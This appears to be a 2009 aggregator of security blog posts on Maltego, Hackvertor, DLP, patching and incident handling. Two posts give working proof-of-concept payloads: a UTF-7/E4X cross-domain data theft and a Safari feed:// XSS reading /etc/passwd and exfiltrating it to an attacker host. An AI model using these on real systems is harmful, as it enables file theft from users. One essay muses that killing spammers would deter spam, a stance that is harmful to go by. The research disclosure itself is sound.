What I did was to start off with a phrase "@singe". I then transformed that to tweets. This showed all recent tweets to or about me. From there I transformed the tweets to twitter affiliation (i.e. a twitter user). Then for each of those users, I ran the 'tweets to' and 'tweets from' transforms. This gave me a nice first go at the networks surrounding me. Then for all tweeple who were referenced more than once, I ran the same 'tweets to/from' transforms. With the centrality data mining view, I could quickly see which tweeple were referenced several times and continued running the transforms against the most highly referenced people. I soon ran out of the 75 transforms allowed in the community edition.

From this data, I have a good idea of the twitter communication network that surrounds me. With the centrality view, you can immediately see there are two distinct networks, the South African twitter-sphere, and the Security twitter-sphere.
Centrality View - Showing 2 Distinct Networks Centrality View - Showing Security Network Centrality View - Showing South African Network
This is an interesting view. I know I operate within these two networks and the people in the one don't talk to the people in the other, but to have it represented so clearly is interesting.

Next, I switched to the edge-weighted view which looks at the number of incoming and outgoing connection of each entitiy. This provided some insight into how these networks are structured. It is easy to see that the South African twitter-sphere is far more connected, the people there share a common group of friends, it's also easy to pick up the central nodes of the network, stii features quite prominently. The security network on the other hand is far more distributed and far less connected, with the central players much less easier to spot.

Edge-weighted view - Showing network properties Edge-weighted view - Showing SA Network Edge-weighted view - Showing Security Network

The other piece of information this has provided are any people I should be following that feature prominently in either of the networks. For example, Tanya de Ville, Sheena Gates, Wogan May, Nick Jackson and Gabrielle Rosano are all people I don't currently follow but maybe should. Although, I tend to follow people I know personally in the South African network. On the other hand, I don't know most of the security tweeple personally and it tends to operate on more of a meritocracy, so this has given me some good ideas of other security tweeple I should follow; Andrew Hay, Marcus J. Carey, Thomas Nicholson and Rob Fuller.

I should add a disclaimer that I had Maltego set on max speed so it only returned 12 results, this means these graphs are very temporal based, tweple that were making more noise at the time I ran them featured more prominently. Also, I was using the community edition, and was limited to 75 transforms. Thus, don't take this as a personal slight if your name doesn't show up.

My intention is to show how Maltego's views can be used for quick visual analysis of interrelated data sets. With the inclusion of local transforms, I'm excited about the possibility of using this for all sorts of things, nessus/nmap output, firewall rules, customer info data sets etc. Nice work Paterva.

Disenchant's Blog

CSWD - Certified Secure Web Developer

Posted: March 8th, 2009, 5:20am CDT by Disenchant

Tags: Security [edit]

Too long ago, I wrote a posting about Certified Secure Web (CSW) and announced to post more information on the specific certifications CSWD and CSWT. Because of the official web site is now also available in English it doesn’t make sense to copy&paste it into my blog. You’ll find it at [https:].

If there are any questions about CSW, don’t hesitate to ask

The Spanner

Hackvertor now translates

Posted: February 26th, 2009, 9:21am CST by Gareth Heyes

Tags: Security [edit]

Whilst reading everyone’s tweets, I found Yosuke Hasegawa had posted a binary string. I decoded it out of curiosity, first it was binary, then character codes, then UTF-7 and finally Japanese. So yeah you can tell what’s coming, I wanted Hackvertor to decode it all for me. Here’s the string:-

00101011 01001101 01000111 00111000 01110111 01010111 01111010 01000010 01001101 01001101 01001001 00111000 00101101

And here is Hackvertor converting it:-
[tinyurl.com]

Hackvertor can now convert from one language to another:-
Spanish translation

Viel Spaß!

Dominic White's .tHE pRODUCT

Cybersquatting and Prank Redirects - Malema and the DA

Posted: February 26th, 2009, 8:00am CST

Tags: Security [edit]

Update: Verashni has since written a story on the matter.

Many non-technical people don't realise how easy it is to manipulate many of the core internet protocols. 2008 Was a particularly bad year for it with some key weaknesses being pointed out in critical protocols such as DNS, SSL and BGP (again) which have joined the ranks of SMTP, Ethernet and in-line SQL as broken. However, with all the technofeats, I forget how easy it is to do something simple that appears to be manipulation to the general public. A journo friend of mine, Verashni, noticed (amoung others) that visiting www.malema.co.za will take you to the DA's website. For any forein readers, this is funny as I'm sure Julius Malema has a dartboard with, opposing political party leader, Hellen Zille's face on it. I did a quick check of who had registered the domain and it was fairly obvious this was a prank:

2f. billingaccount : The ANC
2g. billingemail : neveranc@gmail.com
2i. invoiceaddress : Not 54 Sauer Street, Johannesburg, 2001
2j. registrantphone : +2774 115 9505
2k. registrantfax :
2l. registrantemail : neveranc@gmail.com

This isn't a technical feat, or particularly difficult to do. It likely cost the prankster R50 and 30 minutes of her time. For example back in 2007, I pointed out that thesource.ofallevil.com mirrored Microsoft's website (and still does), and a commentator pointed out that theroot.ofallevil.com did the same for Verisign (but not anymore).

However, the almost magical qualities attributed to technology by the general public have lead to some very amusing conspiracy theories. My favourite so far is: "The DA is trying to profit from Julius' popularity!" Unfortunately, there is no proof that the DA is behind this, and until we can rule out the rest of the planet as suspects, we'll just have to smirk and read Classic Malema.

This does have some domain squatting implications though. If Julius ever decides to take his "unique" brand on-line, he'll likely need to go through some legal procedure to get "Not the ANC" to relinquish it. You can read more about "Cybersquatting" on Wikipedia.

The Spanner

Inline UTF-7 E4X javascript hijacking

Posted: February 24th, 2009, 5:27am CST by Gareth Heyes

Tags: Security [edit]
I finally get to talk about this because Yosuke Hasegawa has already disclosed the IE/FF variant with JSON data. I also discovered the UTF-7 JSON hacking independently but I wasn’t aware it was public so I didn’t blog about it. Just in case you haven’t, you should check out his presentation it’s awesome!

Anyway onto E4X I just love it Currently it is only fully supported by Firefox and maybe Google Chrome I think. It enables you to use XML data within Javascript and has plenty of little quirks I’ve blogged about in the past. I won’t go into detail about what it is, you’ll have to Google around for that.

So you can use XML data within javascript that means we can access that data cross domain but only if it’s been assigned to a variable right? Well not exactly. You see if we can control any aspect of the XML data we can then poison it with UTF-7 encoded data, this means we can access inline XML without any variable assignment.

Lets take a sample of fictional data that is returned when you’re logged onto a web site:-
```
<friendList>
<friend>
  <name>Name1</name>
  <email>somebody@somewhere1.com</email>
</friend>
<friend>
  <name>Name2</name>
  <email>somebody@somewhere2.com</email>
</friend>
etc...
</friendList>
```
So if you can control a new friend within the XML data, we can get the contents of the data remotely by including a SCRIPT tag to the data along with a UTF-7 charset. Here is how the attack would work:-
```
<script defer="defer" charset="UTF-7" src="http://somesite.com/home/friendslist.php"></script>
<script>
window.onload = function() {
        alert(x);
}
</script>
```
And we add a new friend called poison with the following data:-
```
<friend>
  <name>Poison</name>
<email>+ADwALwBlAG0AYQBpAGwAPgA8AC8AZgByAGkAZQBuAGQAPgA8AC8AZgByAGkAZQBuAGQATABpAHMAdAA+ADsAeAA9ADwAZgByAGkAZQBuAGQATABpAHMAdAA+ADwAZgByAGkAZQBuAGQAPgA8AGUAbQBhAGkAbAA+-</email>
</friend>
```
If we decode the above UTF-7 string we get the following:-
```
</email></friend></friendList>;x=<friendList><friend><email>
```
Notice the “X” assignment, this is how we steal the data. We close the email, friend and friendlist tags within the UTF-7 encoded data and start a new E4X block. A POC is available here which would also work cross domain:-

E4X poc

tssci security

Web application security incident handling

Posted: February 23rd, 2009, 7:32pm CST by Marcin

Tags: Security [edit]

I thought I’d take a moment to post about some web security tools I use pretty often, which help as a security consultant when responding to various web hacking related incidents. These tools have helped me write my own scripts whenever I’m in a jam and need something good and quick to do the job.

Application Log File Forensics: The Hard Way

The first thing a security professional or administrator usually think of when handling an application security incident is to check the logs for the applications, databases, and other application-tiers involved. Often, these logs are either on the servers that run the applications themselves, or possibly in a central logging location. If a certain attacker tool can be identified from the log files (or other sources such as full packet-capture), then it may be of interest to run that exact same tool against your own application-under-target (preferably in a mocked-up lab or test environment, if it mirrors production well enough).

The most popular web servers, Apache httpd and Microsoft IIS, do create local log files by default. According to most compliance regulations and standards (e.g. COBIT, HIPAA, GLB, PCI-DSS, FISMA, EU Directive on Privacy and Electronic Communications, ISO 17799/27002, CA SB1386 and similar), logging must be centrally located, or may have other required provisions. This may include application-layer information, such as the log information from Apache and IIS. It may be very likely that your organization already has centralized logging where this information is available.

If centralized logging does not exist, it may be a good time to start up a project to enable it. The Apache Cookbook, 2E, is the best place to go in order to configure httpd to start sending syslog information. It’s about as simple to add “ErrorLog syslog:user” into the httpd.conf file, but this only logs error messages, not authentication/access_log messages. The book gives two prescriptions, one using “AccessLog “|/usr/bin/logger” combined” if your OS supports the logger command properly. The other is to run a custom log message through a Perl script, as seen below:

CustomLog |/usr/local/apache/bin/apache_syslog combined
cat > apache_syslog #!/usr/bin/perl use Sys::Syslog qw( :DEFAULT setlogsock ); setlogsock('unix'); openlog('apache', 'cons', 'pid', 'user'); while ($log = <STDIN>) { syslog('notice', $log); } closelog;

Microsoft IIS will need to go through the Event Log, which can be converted to syslog messages using a third-party software package such as Snare or MonitorWare Agent. If IIS logs can also be converted to w3c standard log format, then Apache log analyzer tools such as AWStats could also be used. W3C also has their own log analysis tool that also does HTML validation, called the Log Validator. These may be useful to run following your own scan of the application using the same or similar attacker tool, as they will not only point out where in your application the scan/tool covered, but also where you may have the most errors or lack of quality/security controls.

The book Practical Information Security Monitoring also makes some suggestions for log collections, including the use of Sawmill or Splunk to sort/search log messages and gain further information and detail. There may also be further adjustments you will want to do at the application (or other tier) layer, such as logging POST data. We discussed logging HTTP referrers on our old post: Using Google Analytics to Subvert Privacy. Practical Information Security Monitoring talks about Oracle audit logging, but there is also a detailed article on Pete Finnigan’s blog on Oracle forensics and UKOUG. At the recent BlackHat DC conference, David Litchfield gave a talk on The Forensic Investigation of a Compromised Oracle Database Server, which may also be of interest (once the slides are available). There are also some new books coming out on the topic of Oracle Forensics in the next few months / year.

Web Application Incident Handling: The Easy Way

Most of the logfile “digging” takes time, even when consolidated and using expert tools and analysis. There are some very easy approaches that we’ve come up with, or seen others using and talking about. These tools integrate well at the HTML and Script layers.

Over a year ago, Mario Heiderich started the PHP-IDS project, as a way to build protection and monitoring capabilities into PHP applications. Several side projects spurred up as a direct result of the incredible work that was put into PHP-IDS, mainly its default_filter.xml regular expressions. This XML file of regular expressions provides capabilities to detect a vast range of attacks, including XSS, CSRF, SQL Injection, Directory Traversal, Local/Remote File Execution, DoS, and Information Disclosure. Part of the success behind the PHP-IDS project, was the constant testing and attacking of PHP-IDS regex filters, which can be reviewed extensively in this sla.ckers.org thread. More info on PHP-IDS can be found in the PHP-IDS FAQ.

Romain Gaucher, wrote Scalp, an Apache log analyzer in Python, which leverages PHP-IDS’ default_filter.xml to detect attack strings in logs. I’ve used Scalp on numerous occasions, including a recent attack attempt on tssci-security.com. By nature, Scalp cannot examine POST content because Apache logs do not contain POST data. (See PHP-IDS or mod_security for those purposes)

Simply use Scalp by running it as follows (keep in mind there may be false positives with regards to the attack type, though it is very good at pulling attack queries from the log):

./scalp.py --log access_log --filters ./default_filter.xml --html --tough --exhaustive

Arshan Dabirsiaghi recently released OWASP Scrubbr. Scrubbr works by detecting input data in a specified database that does not match up with a specified AntiSamy policy file. Because Scrubbr uses an AntiSamy policy to validate data, does not mean it necessarily detects XSS in your database. Note, one does not require AntiSamy to be implemented in an application to use Scrubbr. Using Scrubbr, you have the capability of validating each and every column capable of holding strings of every row of every table in a database.

Together, Scalp and Scrubbr make for excellent web application security forensic tools. Scalp can help detect attacks in Apache logs, and Scrubbr can help you clean your database of content that does not match your site’s policy.

Billy (BK) Rios

Stealing More Files with Safari

Posted: February 13th, 2009, 12:42pm CST by xssniper

Tags: Security [edit]

Apple recently patched a vulnerability in Safari’s RSS feed handling mechanisms I reported to them. The advisory for Safari on OS X can be found here and the Safari for Windows advisory can be found here. As always, Apple was excellent in their handling of the issue. Two other researchers reported this same vulnerability to Apple (Clint Ruoho of Laconic Security and Brian Mastenbrook). Clint or Brian, let me know if either of you are planning on attending CanSec this year, I’ll buy you guys a couple beers.

Both Safari for OS X and Windows platforms were affected by this vulnerability (my precious iPhone was not affected). The vulnerability ultimately resulted in Remote Command Execution for both systems, making it a serious/critical issue for Safari users. There may be a technique to reach this vulnerability if you’re using a different browser on OS X, so even if Safari isn’t your default browser on OS X, I would recommend you grab the patch anyway

When I reported this issue to Apple, I reported it as a “File Stealing” vulnerability, which gave a remote attacker the ability to steal arbitrary files off the user’s file system. So, if you were using Safari and browsed to the wrong page (or fell victim to an XSS attack), an attacker had the ability to steal all of files from your local file system… ouch! Since the issue is patched, let’s look at how an attacker could steal some files using Safari… (RCE will be left as an exercise for the reader)

First, let’s take a look at Safari’s RSS feed handling mechanisms. Safari for both OS X and Windows supports the handling of RSS files through the Feed:// protocol handler. For example, if you wanted to view the feed for this blog in Safari, you could simply enter the following into the address bar:

feed://http://xs-sniper.com/blog/feed/

RSS files are basically XML files that contain content that can be rendered by RSS readers. In this case, the attacker controls the entire XML file. The XML file I started with followed the standard used by most blogs. The most interesting XML tags were the tags that held blog post content:

<content:encoded><![CDATA[ .... ></content:encoded>

It seems that Apple understood the dangers of taking in and rendering un-trusted RSS feeds and actually implemented a filtering routine in an attempt to filter dangerous content. In my attempts to defeat the filtering routine, I tried several different payload combinations, most of which were focused on the “content:encoded” tag; some of my payloads were HTML encoded before being displayed in the browser, other combinations resulted in tags and characters being stripped out completely. Eventually, I discovered a combination that would allow for the execution of script in the context of feed://

<content:encoded><![CDATA[
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert('xss’);”“<onload=””
]]>
</content:encoded>

Which resulted in the following being rendered by Safari:

….
<div class=”apple-rss-article-body”>
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert(‘xss’);”>
<onload></onload>
</body>
<!– end articlebody –></div
….

As you can see, Safari’s filtering routines have stripped out some characters and added some characters as well. Despite the filtering, the HTML is valid and we now have script execution in the context of feed://. Safari grants script executed within the context of feed:// access to the local file system, so from here I changed the “alert(‘xss’);” to an XMLHTTPRequest Object.

<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert(‘loading /etc/passwd into javascript’);var req;req = new XMLHttpRequest();req.onreadystatechange = processReqChange;req.open(‘GET’, ‘file:////etc/passwd’, true);req.send(”);function processReqChange() {if (req.readyState == 4) {alert(req.responseText); }}” <onload=”"

Proof of concept can be found here.

[xs-sniper.com]

The php script scans the UserAgent and determines whether you are using Safari on Windows or Safari on Mac OS X. If you happen to be on Mac OS X, the PoC will displays your /etc/passwd file in a JavaScript alert box. If you are on a Windows machine the PoC will display c:windowswin.ini in a JavaScript alert box. Once the file contents are placed into a JavaScript object, getting the file contents back to the attacker is easily accomplished. For large files, an attacker can even use a dynamically generated FORM and POST the contents back to the attacker server. An attacker could also use this vulnerability to establish a dynamic remote control channel by injecting a “<script src=http://XS-Sniper’s-IP-Address/dynamic.js>” (XS-Sniper is the name of my XSS proxy), giving the attacker more control over the JavaScript executed by the victim.

I’m very interested in vulnerabilities like this. We (the security industry) have developed an extensive toolset to detect memory access violations, but we’re lacking in tools to detect boundary violations of this sort. Memory corruption (IMHO) remains the holy grail of exploitation, but as memory corruption vulnerabilities become increasing difficult to exploit, it may be beneficial to develop tools and techniques to detect boundary violations such as this one.

Justice League

Do Cloud-based Apps Destroy Web App Security?

Posted: February 13th, 2009, 10:07am CST by scott

Tags: Cloud Computing Security Software [edit]

My colleague, Ben Walther, pointed me at this post about Cloud applications and Web-app security by Rich Mogull. The title is “How the Cloud Destroys Everything I Love (About Web App Security)”. The post talks about running Web apps on a cloud platform like EC2. I’m not sure I buy into everything they say.

First, I’m not sure what Rich means by a “Web App”. To me, the term Web App describes an n-Tier application with a browser front end and some kind of backend SQL database. There are maybe some web service calls thrown into the mix. It’s the kind of applications that everybody’s been writing for the last 10 years. So, what’s going to change if I’m running this same application architecture on infrastructure that I’m buying as a service? Sure, I have to worry about all of the inter-machine communication channels because I don’t have the nice data center supplied network security. But what else?

Now when we move to cloud-based applications (environments like AppEngine or 10gen), ones that take advantage of the highly distributed nature of the code as well as the virtual environments, then we have changed the application architecture. I buy that security for these apps changes, but it’s no longer “web app” security. In these cloud-based applications, there are some different fundamental assumptions about the architecture, like no transaction serializability. But for these legacy web apps running in a virtualized infrastructure, I’m less convinced that there is a drastic change.

There are a couple of specific points made in the article that I don’t agree with:

Secure development (somewhat) breaks because the underlying platform can’t be locked down.
Just because you can’t lock it down yourself doesn’t mean that it can’t be locked down. This seems like an argument for secure deployment breaking and not secure development. Even then, the PAAS or IAAS may actually lock the platform down better than you can. It does shift the problem from looking at technical artifacts (configuration files, patch logs, etc) to looking at legal and audit artifacts (SLAs and certifications).

Static analysis tools (mostly) break.
The contention is that there’s less code you program yourself. I don’t see this as true for IAAS platforms like EC2, how much code is provided that you really need to worry about. Besides, static tools are language based and if it’s the same language, it doesn’t really matter whether it’s running on a virtual OS or a physical one. The change that breaks static analysis is the move to dynamically typed languages.

My take is that the infrastructural changes of a cloud computing have a more drastic effect on an organization’s ability to deploy securely. Being able to develop securely is based on the application architecture. I really see these as independent levers rather than a single “cloud” lever.

Technorati Tags: Cloud Computing, Security
Securing Deployment for Cloud-based Applications

Posted: February 11th, 2009, 2:46pm CST by scott

Tags: Software Security [edit]

A recent thread about hardware and software requirements for development on the Google cloud forum made me wonder what cloud computing will mean for development, test and production environments. There are a lot of really interesting questions here, but my mind got stuck on the relationship between development and production. I’ve always been amused at the IDE feature that touts instant deployment from the developer’s desktop to the production system. Wearing my security hat, I should use the word “horrified” instead of “amused” because I can think of no worse model for deployment than developer-to-production.

I came to the conclusion that deployment of cloud-based applications will require much more engineering rigor to assure the security of the deployed application. There will, of course, be variation in the amount and type of rigor based on the type of cloud the application is being deployed to. For example, deploying to a platform as a service provider will be different than deploying to a infrastructure as a service provider where the later will require a lot more rigor. But, given the amount of manual steps involved in most of the deployments I see, I’m very worried that deployment automation will be overlooked as a required security control for cloud-based apps.

Large companies will have tools like Opsware and Bladelogic for their existing data centers, so they have a base of automation to work from. It’s the medium-large and medium sized organizations that I see as needing automation help to secure their deployments. I think these companies will be adopting cloud-based applications for their cost advantage over internally owned and managed infrastructure. But these organizations have a much more collegial relationship between development and operations and moving to operations to a service model will break these relationships. It’s the same problem that companies face when moving parts of development offshore. The solution for development is more formal API contracts and specifications. With operations, automation is an excellent way of formalizing the “API contract” between development and operations.

Security will have its part in this equation as well. All of the assumptions about who can do what with which parts of the application, who you can trust and with what credentials will have to be re-evaluated. Some of my colleagues would argue that this is the least of our worries. I would agree, but given the lack of a shared understanding of cloud security, I think that these operational concerns need to be on the list.

Dominic White's .tHE pRODUCT

A Response to Bejtlich on DLP

Posted: February 4th, 2009, 1:14pm CST

Tags: Security [edit]

Richard Bejtlich just posted an entry entitle "Data Leakage Protection Thoughts." In it he argues that Data Leak Prevention products will just lead to a new barrage of alerts for someone to ignore (ala IPS/IDS), or blocking a too-small-set of data for which a significant amount of time would need to be invested to understand how to block. I'm paraphrasing, but I think it provides the gist.

Before I provide a response, I must preface it with the fact that we are currently working on and selling projects which use DLP tools.

That said, what I think Richard misses about DLP is the fingerprinting and discovery aspect. DLP solutions provide radically enhanced methods of fingerprinting and finding 'unstructured' data beyond comparing hashes or strings. Unstructured data, is data that doesn't follow some kind of programmatic pattern. For example, credit card numbers are structured data and need to conform to certain guidelines. It's fairly easy to find and detect that sort of data. Unstructured data on the other hand are things like spreadsheets, documents, presentations, podcasts, movies etc. However, even then those are just containers for the data, and it is possible for the same information to be copied from a word document to a spreadsheet (for e.g.). DLP provide a way of fingerprinting the underlying information, and then detecting it across the organisation.

For example, one could fingerprint the board minutes on a PA's laptop, then examine all mailboxes, databases and file servers to locate them. Or, one could do the same for customer records and work out which systems are storing customer personal information. Alternatively, one could work out which systems are in scope for PCI DSS compliance (or descoping) because they contain card-holder data. Then, much later, one could monitor communication channels, flash sticks and printers and block any instances of the classified information being distributed outside of designated groups.

The reason this sort of stuff is important, is that organisations aren't very good at knowing where their important data is. People who've done 'information classification' projects before, will tell you they took a long time because the business people knew what data was important, but not how or where it was stored, and the IT people knew which systems the business people thought were important, but not which parts of information in that system were important. Being able to do this sort of fingerprinting and discovery makes the task of mapping these to each other much easier. Additionally, being able to fingerprint a blob of data and assign the whole blob specific properties makes life easier. You don't have to classify each paragraph of the board meeting's minutes, you can fingerprint every one and assign a policy to all of them.

The second part of a DLP solution, the enforcement, is the bit Richard was talking about. If we look at previous information classification projects again, even if you did come up with a decent data/system/comms map and classification scheme, you couldn't do much more than write policies or put a bit more effort into securing the systems holding the important data. The DLP tools let security teams start putting controls around the actual data, not their format or system, and provides a method to enforce that policy. In implementing this part, it's easy to alert on everything and end up with an unmanageable and unwatched list of alerts. Initially, key policies should be expressed as a block rule, assuming you aren't an unrealistic rule-nazi this will allow you to define rules for very confidential information or high-risk leaks (e.g. 1million customer records and one set of minutes of a board meeting). However, once you've got that tweaked and usable, all the stuff in the middle may need a more nuanced approach in the form of logs and alerts. It's my personal belief that security analysts can't do that part, I've tried and it's just way too much work. The communication context is something the data owner needs to comment on, and takes too much time to work out. This is where I think the workflow component comes in as described in my other blog entry on the topic.

Then (almost) finally, I think DLP has potential to allow an organisation with an immature security posture, to fairly quickly put controls around high risk data, start working out where their high risk data is stored and where their biggest leaks are. Those last two will help them prioritise their security efforts better than the other risk assessments consultancies like mine are famous for overcharging for ;)

I do agree that DLP tools aren't going to provide a fool proof way of detecting all attempts at smuggling data out. I've tested a couple and while steganography works all the time, in some cases just bzip2'ing it worked too. I don't think only stupid people will get detected by the DLP tool (although given the number of "mistakes" you end up seeing, blocking stupid is useful) as they do go quite far in picking up things like copy pasting snippets of text into other documents or inserting some random text in between paragraphs etc. But in the end it won't kill that werewolf for you.
Opt-Out of Online Advertiser's Profiling

Posted: February 2nd, 2009, 1:59pm CST

Tags: Security [edit]

I've been saying to anyone who would listen, that many advertisers (such as Google and DoubleClick - owned by Google) don't let you opt-out of their profiling. Essentially, many advertisers set a cookie and use it to track you across sites. This is useful to add state to stateless HTTP, but often lots of third-party cookies are set by advertisers which have no function other than to help profile you, i.e. it's possible to have a perfectly functional site without these cookies.
However, while trawling through Google's privacy policies, I found a gold-mine of opt-outingness, and it appears I was wrong. Not only can you opt-out of Google's and DoubleClick's profiling, you can opt-out of almost every other one! What this does it set a specific opt-out cookie, that will prevent the code running on the ad platforms from using or recording profile data to serve you ads. You will still see ads (unless you run Ad Block Plus), but they will not be based on inferences from your surfing history. As it uses cookies, this will only work as long as the cookie is there, so other browsers/computers won't have it, nor will they remain if you delete your cookies. I still recommend not accepting the cookies in the first place (Cookie Safe helps with that and is easier than managing it through browser prefs), but if you must (e.g. to use gmail) then there's very little reason to not opt-out.

While this is quite cool, and certainly makes me heap less derision on online advertisers, there is a caveat that you are trusting the advertiser that they have opted you out. For example, doubleclick.com still has an ASP session cookie set which could be used for profiling if they felt like it (several of the other ad partners also have opt-out cookies with what looks like unique identifiers present). I would still recommend blocking these third party cookies just to be safe, and you don't really loose anything by doing so. Additionlly, non-ad profiling such as your Google life-time (now 2 years) cookie or YouTube tracking cookie will still be present and used to profile you (unless someone can show me a cool way to opt-out of that?) so this certainly isn't a panacea.

The big problem is that anyone who indiscriminantly accepts third party cookies, is also not likely to know about/care about/find the opt-out page. Either-way, the Network Advertising Affiliates deserve some credit for this.
ARIAD - AutoRun.Inf Access Denied

Posted: January 25th, 2009, 3:10pm CST

Tags: Security [edit]

Viruses using the autorun.inf file of removable media such as flash sticks and iPods to automatically execute and install themselves whenever they are plugged into a machine can now be thwarted by Ariad. This is a big vector at the moment.

It's a file system filter (I didn't know about these, they're cool) that blocks access to autorun.inf and effectively stops windows from automatically installing viruses for you (aka a design flaw). Group Policy should allow you to do the same thing, but if you have either incompetent domain admins, some inheritance complexity of multiple policy applications have self-imploded, or a family member who uses their USB without protection, this can help fill the gap.

Courtesy DiderStevens - Ariad

Dider asked me to add that at the time of writing this is beta software, so test it first.

tssci security

Introducing SSLFail.com

Posted: January 22nd, 2009, 8:11am CST by Marcin

Tags: Security [edit]

Hey all, I’d like to introduce all of you to a new site Tyler Reguly and I, along with Romain Gaucher and Jay Graver set up last week, SSLFail.com. The site’s purpose is to point out the failures in various sites’ SSL implementations. We’ll be publishing tutorials, and informative articles on SSL in addition to pasting screenshots of high profile sites’ failures.

We came up with the idea for the site when Romain came upon an SSL failure with Gmail. Tyler then blogged about it, and then I was getting errors with Facebook.

The interesting things about Gmail, when you go to https://gmail.com, Firefox was the only browser we tested to follow the 301 Redirect to another domain (www.google.com) with a proper SSL certificate. IE7 and Google Chrome on the other hand, asked the user for confirmation before the redirect. Is this a Firefox SSL failure? I don’t know, and several others I’ve spoken with aren’t sure how a browser should handle it either.

Anyways, just wanted to point out this new site, which has already gotten some attention from lonervamp at terminal23 and hype-free.

Dominic White's .tHE pRODUCT

Why Patch Management will Remain Hard

Posted: January 17th, 2009, 2:49am CST

Tags: Security [edit]

A discussion with haroon yesterday revived some of my interest in my MSc thesis topic. Then serendipity brought Eric Schultze commentary/apology on the MS09-001 patch to my attention.
First, some justification. Patch management is still a poorly practised discipline. I can't think of a single audit report either written or reviewed by me that didn't mention missing patches as a finding. This is also a non-trivial issue. Patches drives attacks (you can read my vulnerability life-cycle for more justification), missing security patches really do put your organisation at risk, no matter how jaded we are about them.

Arguably, Microsoft has done the most work in making their patches reliable and easy to install. However, it's still possible for a highly experienced patch management expert to get things wrong in understanding the impact (and hence appropriate prioritisation) of a patch.

However, the people within your organisation responsible for 'patch management' are usually fairly low level techies. It is often seen as a plumbing and maintenance issue. You certainly don't have your top sysadmins jumping to it every Tuesday to put together a regression testing schedule and work out which machines to prioritise the deployment to. In South Africa, things are a little worse, where there appears to be an increasing dearth of top sysadmins, as many of them move up into less technical managerial positions away from the care of the metal, thankful to leave plumbing issues like patching behind them.

This is where the disconnect comes in. Even with a comprehensive toolset to easily deploy patches. The technical and security experience required to properly understand the affects of a patch, coupled with the operational and organisational experience required to understand those applied to a specific organisation are quite large however this maintenance issue is usually given to a junior technician. Additionally, even though Microsoft's patches have improved their stability dramatically, people still err on the side of caution and tend towards non-deployment. This disconnect can be resolved via an organisation patch management policy that codifies much of that experience, but in the words of haroon "Management don't buy into who cleans the fridge or when the light bulbs are replaced." For the same reason low-level techies are sent to do the patching, management are unlikely to spend money and time getting patch management right. The right way to cut through that is with a risk-based argument, although not every organisation has a risk-management function motivated to do much about patching. Why? Because it's boring. Not only is it boring, it's repetitive; every month there's more. I personally find it very hard to care about patches these days.

However, these are the problem in the case of some of the best patches out there. But the software stack deployed on your average desktop, let alone across the organisation is far more complex, and most third-party vendors haven't gotten their patch process up to the same level as Microsoft. Even if they have, they often come with their own seperate infrastructure that many organisations are disincentivised to duplicate, and this isn't likely to get better any time soon. There are great tools out there to help with this, Lumension and Shavlik for example, however as per the previous paragraph this isn't the sexy sort of problem people want to spend lots of money on, and getting everyone to run Debian, while ideal, is impractical :)

So that's my litany of problems around patching. While quite different from several years ago, much of it remains the same or is just a subtle reformulation. I don't see patching getting better, and I don't see people willing to spend much time (outside of select vendors) to make it better. But the risk remains (and your IPS which you never check anyway won't save you).

The Spanner

Hackvertor now decodes css escapes

Posted: January 16th, 2009, 7:57am CST by Gareth Heyes

Tags: Security [edit]

I posted a vector to the web app sec list because they were discussing expression XSS. Ivan Ristic naturally used Hackvertor to try and decode the vector automatically. But he exposed a bug in the auto decoder. Well it’s now fixed yay! Thanks Ivan. I found a couple of errors in my reg exp syntax and I’ve optimised them much better.

The main problem is that Hackvertor has no way of knowing if the code is octal escapes or css hex escapes because they look identical but the result can be different. Unfortunately I can’t see a way around this and I might have to accept this as a limitation of the auto decoder. Please leave a comment if you can think of anything.

Here it is in action:-
Auto decoder

ha.ckers.org web application security lab

Crime and Punishment

Posted: January 15th, 2009, 2:44pm CST by RSnake

Tags: Random Security [edit]

This post is meant to be overly controversial, but it’s also meant to make people think. Please take that for what it’s worth. My most recent publisher said that I shouldn’t make excuses before I say something, but in this case, I think it’s warranted because it’s a little out there, but I also think it’s a topic worth discussing. Please bear with me.

Looking back in American history, there have been a few significant military losses of recent years. We could easily call Korea a loss, and Vietnam was the worst “police action” in American history. Afghanistan is a tossup, and only time will tell. However, I think there is a perception that there is no way the United States could ever have won those wars. That’s just not true.

The United States has a wide variety of unconventional weapon options and military tactics that it never used. For instance, we never ventured north of a certain line in Vietnam, but only for political reasons. We also never used nuclear, or non-nuclear WMD’s. The United States stockpile of biological, radiological and chemical weapons is unrivaled by any country it has ever gone to war with since WWII. But it never chose to unleash those weapons or pursue those tactics, and ultimately the US lost. But more interestingly, the US chose to lose.

I think this analogy speaks nicely to a computer security problem regarding crime in general. There are a set of options that we as computer security practitioners have at our disposal but we also have chosen not to use them. I would say that in well over three quarters of the attacks that I am aware of, it is trivial to find the person who is responsible for them. Sure, that could change and yes, it’s easy to frame people for crimes they did not commit, but for the moment, let’s just pretend that that statistic was valid.

There are two ends of the spectrum of punishment. On one end we have capital punishment - the ultimate result. It’s pretty much a guarantee that their life of crime is concluded upon their death (barring time delay attacks which are incredibly rare). Most people don’t believe in capital punishment for any purpose other than extreme cases and still I would say there is no clear consensus about when it should be used. However, there is no debate about the finality and clear effects of capital punishment.

On the other end of the extreme we can do absolutely nothing, or worse yet, reward the attacker for their actions in some way. I would argue that more often than not the second is the option we as a security community take. When we are aware of a problem we either do nothing at all because we believe it won’t actually work against our systems, or we block the attackers, under the false premise that that will stop them. In reality it only makes them stronger because they now know how our defenses work, which they can either try to circumvent later or use as knowledge against other targets elsewhere.

Only in the most extreme cases do we actually bother to track down, locate, arrest and prosecute attackers. And even then the penalties are usually only a few years in jail. Most experts believe that jail is not an effective rehabilitation habitat. While it’s admittedly unclear what the effect is on computer criminals, it’s certain that it is not an effective deterrent given how much computer crime occurs.

Now let’s imagine for a moment that we were decide that capital punishment were a reasonable solution to a problem, because it was an actual deterrent. I know people who care a lot more about their life than they do about jail time, so it’s not an unrealistic assumption. Let’s take a small slice of computer crime, that’s considered by almost everyone to be a minimal offense but also highly annoying - spam.

A few years ago a spammer was killed with a hammer. Now let’s say whether by vigilante justice or state sponsorship, once a week a spammer was killed in the same way, as a symbol to all other spammers everywhere - keep it up and you’re going to end up like this. It’s a terrible fiction I’m spinning here, I know, but I honestly believe it would reduce the amount of spam far more than the amount that was generated by the deceased spammers alone. It would actually have the effect most punishment is designed to have - it would be a deterrent. Although, admittedly it’s gruesome and unrealistic.

